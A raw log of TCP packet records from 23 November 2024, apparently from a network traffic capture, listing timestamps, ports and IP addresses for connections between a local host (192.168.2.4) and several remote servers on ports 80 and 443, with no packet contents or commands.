Nov 23, 2024 15:22:28.974555969 CET	443	49822	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:29.652746916 CET	80	49815	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:29.654474020 CET	49815	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:29.654474020 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:29.654901981 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:29.668350935 CET	443	49819	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:29.670042992 CET	49819	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:29.670042992 CET	49819	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:29.670070887 CET	443	49819	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:29.670464993 CET	443	49819	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:29.708283901 CET	49819	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:29.708283901 CET	49819	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:29.708378077 CET	443	49819	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:29.775496960 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:29.775604010 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:29.775612116 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:29.775747061 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:29.775895119 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:29.887418985 CET	443	49814	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:29.888175964 CET	49814	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:29.888216019 CET	443	49814	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:29.888650894 CET	49814	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:29.888669014 CET	443	49814	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:29.888722897 CET	49814	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:29.888739109 CET	443	49814	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:29.895416021 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:29.993985891 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:29.994580030 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:29.994605064 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:29.994998932 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:29.995004892 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.017179966 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.017502069 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.017529964 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.017833948 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.017842054 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.029264927 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.029499054 CET	49816	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.029512882 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.029786110 CET	49816	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.029789925 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.237735987 CET	443	49822	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:30.237855911 CET	49822	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:30.239090919 CET	49822	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:30.239104033 CET	443	49822	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:30.239442110 CET	443	49822	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:30.240856886 CET	49822	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:30.244754076 CET	49822	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:30.244817019 CET	443	49822	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:30.245116949 CET	49822	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:30.245162010 CET	443	49822	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:30.245340109 CET	49822	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:30.245387077 CET	443	49822	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:30.246659040 CET	49822	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:30.246709108 CET	443	49822	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:30.246881962 CET	49822	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:30.246942997 CET	443	49822	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:30.247164011 CET	49822	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:30.247209072 CET	443	49822	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:30.247230053 CET	49822	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:30.247245073 CET	443	49822	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:30.247442007 CET	49822	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:30.247483969 CET	443	49822	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:30.247526884 CET	49822	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:30.247626066 CET	49822	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:30.247667074 CET	49822	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:30.248338938 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.248765945 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.248781919 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.249272108 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.249278069 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.291336060 CET	443	49822	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:30.292009115 CET	49822	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:30.292066097 CET	443	49822	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:30.292113066 CET	49822	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:30.292138100 CET	443	49822	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:30.292182922 CET	49822	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:30.292201996 CET	443	49822	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:30.292268991 CET	49822	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:30.292295933 CET	443	49822	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:30.297936916 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.350649118 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.355793953 CET	443	49819	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:30.355943918 CET	443	49819	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:30.355997086 CET	49819	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:30.395085096 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.395111084 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.398786068 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.398799896 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.423657894 CET	49819	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:30.423677921 CET	443	49819	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:30.423693895 CET	49819	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:30.423700094 CET	443	49819	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:30.437119007 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.437256098 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.437334061 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.455930948 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.456006050 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.456062078 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.482029915 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.482181072 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.482234955 CET	49816	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.502903938 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.502918005 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.502929926 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.502934933 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.504671097 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.504695892 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.504709959 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.504717112 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.525346994 CET	49816	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.525362015 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.525392056 CET	49816	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.525398970 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.544313908 CET	443	49814	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:30.544368029 CET	443	49814	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:30.544461966 CET	49814	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:30.544483900 CET	443	49814	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:30.544528961 CET	443	49814	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:30.544603109 CET	49814	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:30.555003881 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.555064917 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.555151939 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.568033934 CET	49814	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:30.568051100 CET	443	49814	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:30.568089962 CET	49814	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:30.568104029 CET	443	49814	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:30.571666002 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.571695089 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.572815895 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.572837114 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.572978020 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.573173046 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.573185921 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.583482027 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.583517075 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.583579063 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.584057093 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.584081888 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.662090063 CET	49827	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:30.662188053 CET	443	49827	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:30.662276983 CET	49827	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:30.666208029 CET	49827	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:30.666245937 CET	443	49827	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:30.707042933 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.707091093 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.707206964 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.707505941 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.707521915 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.707534075 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.707539082 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.710839033 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.710875034 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.710957050 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.712858915 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.712874889 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.722438097 CET	49829	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:30.722522020 CET	443	49829	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:30.722598076 CET	49829	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:30.722904921 CET	49829	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:30.722939968 CET	443	49829	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:30.744205952 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.744326115 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.744375944 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.745470047 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.745512009 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.745541096 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.745553970 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.748125076 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.748145103 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:30.748295069 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.748433113 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:30.748445034 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:31.122910023 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.122998953 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.123019934 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.123078108 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.123106003 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.123117924 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.123130083 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.123164892 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.123178959 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.123203993 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.123208046 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.123239040 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.123246908 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.123274088 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.123275042 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.123308897 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.123323917 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.123359919 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.123373032 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.123419046 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.243560076 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.243608952 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.258078098 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.258128881 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.258152008 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.258198023 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.314713001 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.314766884 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.314768076 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.314811945 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.317121029 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.317171097 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.317228079 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.317277908 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.325483084 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.325532913 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.325609922 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.325658083 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.333934069 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.333990097 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.334054947 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.334104061 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.342314005 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.342361927 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.342437983 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.342487097 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.350668907 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.350717068 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.350785017 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.350831985 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.359064102 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.359118938 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.359173059 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.359230042 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.367680073 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.367724895 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.367815018 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.367875099 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.375880003 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.375929117 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.376009941 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.376060009 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.384217024 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.384272099 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.384335995 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.384385109 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.392587900 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.392640114 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.490573883 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.490636110 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.490639925 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.490688086 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.494704008 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.494756937 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.506458044 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.506527901 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.506592989 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.506640911 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.508641005 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.508692980 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.509318113 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.509366989 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.509418011 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.509466887 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.513581038 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.513633966 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.513699055 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.513745070 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.517733097 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.517787933 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.517868042 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.517913103 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.521958113 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.522013903 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.522078991 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.522128105 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.526233912 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.526285887 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.526376963 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.526427031 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.530422926 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.530473948 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.530540943 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.530580997 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.534636021 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.534687996 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.534693003 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.534742117 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.538860083 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.538913965 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.538914919 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.538959980 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.543019056 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.543073893 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.543128967 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.543181896 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.547259092 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.547327995 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.547398090 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.547451019 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.551443100 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.551496029 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.551580906 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.551635981 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.555674076 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.555727005 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.555795908 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.555843115 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.559863091 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.559916019 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.559998035 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.560050011 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.564117908 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.564173937 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.564177036 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.564229012 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.568274021 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.568327904 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.568387985 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.568428993 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.572479010 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.572535038 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.572671890 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.572717905 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.576773882 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.576809883 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.576838017 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.576850891 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.611963987 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.612020016 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.612087011 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.612149000 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.614078999 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.614132881 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.614207029 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.614255905 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.618220091 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.618275881 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.682295084 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.682384968 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.682414055 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.682465076 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.684123993 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.684180975 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.684775114 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:31.684832096 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:31.684915066 CET	80	49823	185.215.113.16	192.168.2.4
